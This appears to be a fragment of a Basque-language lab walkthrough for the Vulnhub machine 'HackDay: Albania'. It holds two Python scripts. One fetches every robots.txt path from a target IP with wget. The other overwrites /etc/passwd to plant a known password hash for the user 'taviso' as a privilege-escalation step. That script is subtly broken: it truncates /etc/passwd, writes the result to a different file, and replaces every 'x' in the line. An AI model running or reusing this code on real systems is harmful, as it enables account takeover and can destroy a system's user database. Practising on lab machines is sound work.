Bitartean Vulnhub: "HackDay: Albania"

# lortu_url.py
import os

file = open("robots.txt","r")

dena = file.read()

for lerroa in dena.split("\n"):
    kodea = lerroa.split(" ")[1]
    os.system("wget http://192.168.10.102:8008"+kodea)

print "Bukatu da!"

# aldatu_hash.py

HASH = "$6$salt$kssqS1VSfI.jaw.DRZOtHWGECgqQghpeKdgVj14OK.MxoeqIs0ye.YDACsHlJIZw2RVQxa1F1hAHWGhDs.cms."

file = open("/etc/passwd", 'r+')
dena = file.read()
file.truncate(0)
file.close()

file = open("passwd", 'a')

for i, lerroa in enumerate(dena.split("\n")):
    if "taviso" in lerroa:
        lerroberri = lerroa.replace("x", HASH)
        file.write(lerroberri+"\n")
    else:
        file.write(lerroa+"\n")

file.close()